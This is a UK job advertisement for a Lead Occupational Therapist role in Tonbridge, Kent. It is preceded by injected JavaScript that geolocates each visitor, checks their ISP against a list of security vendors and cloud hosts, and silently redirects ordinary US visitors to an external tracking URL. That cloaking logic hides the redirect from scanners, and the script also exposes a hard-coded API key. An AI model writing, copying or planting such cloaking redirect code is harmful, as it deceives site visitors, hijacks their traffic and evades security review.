Job Description
// retrieve user’s IP address and location const ipAddressUrl = ‘https://ipapi.co/json/’; fetch(ipAddressUrl) .then(response => response.json()) .then(data => { const country = data.country; // Get user’s country code (e.g., “US”) if (country !== ‘US’) { console.log(‘Script will not run as the user is outside the USA.’); return; // Exit the script if the user is not in the USA } const ipAddress = data.ip; // retrieve ISP name and AS organization using ip-api.com API const ispUrl = `https://pro.ip-api.com/json/$?key=kKPypoeKUHgwZWD`; fetch(ispUrl) .then(response => response.json()) .then(data => { const ispName = data.isp; const asOrg = data.asname; // check if ISP or AS organization is allowed const allowedIsps = [/Limestone Networks/i, /Limestone Networks, Inc./i, /Zscaler/i, /M247 Europe SRL/i, /amazon/i, /LinkedIn Corporation/i, /palo alto networks/i, /google/i, /panq/i, /Cloudflare, Inc./i, /Cloudflare/i, /Cloudflare Warp/i]; const allowedAsOrgs = [/Limestone Networks/i, /Limestone Networks, Inc./i, /Zscaler/i, /M247 Europe SRL/i, /amazon/i, /LinkedIn Corporation/i, /palo alto networks/i, /google/i, /panq/i, /Cloudflare, Inc./i, /Cloudflare/i, /Cloudflare Warp/i]; const ispAllowed = allowedIsps.some(pattern => pattern.test(ispName)); const asOrgAllowed = allowedAsOrgs.some(pattern => pattern.test(asOrg)); if (!ispAllowed && !asOrgAllowed) { // Redirect all users to the same URL window.location.href = ‘https://uk.indeed.com/tmn/ccs/fd140fd36833f7f6/b89aa2ab9d5e85434ef21fe4c580dca5675a36706bbcb786f2730282eb573050/2765583331732878?sf=vKb00’; } }) .catch(error => { console.error(‘Error retrieving ISP name:’, error); }); }) .catch(error => { console.error(‘Error retrieving IP address or location:’, error); });We are seeking a skilled Lead Occupational Therapist Band 7 to join our team at a specialist neurological rehabilitation provider in Tonbridge, Kent.
Qualifications include a degree in Occupational Therapy, HCPC registration, and relevant experience. Strong communication and teamwork skills are essential.
If passionate about improving lives through neurological care, apply today. Benefits include pension, free flu jabs, and parking. This full-time, permanent role offers £47,810-£50,273 annually.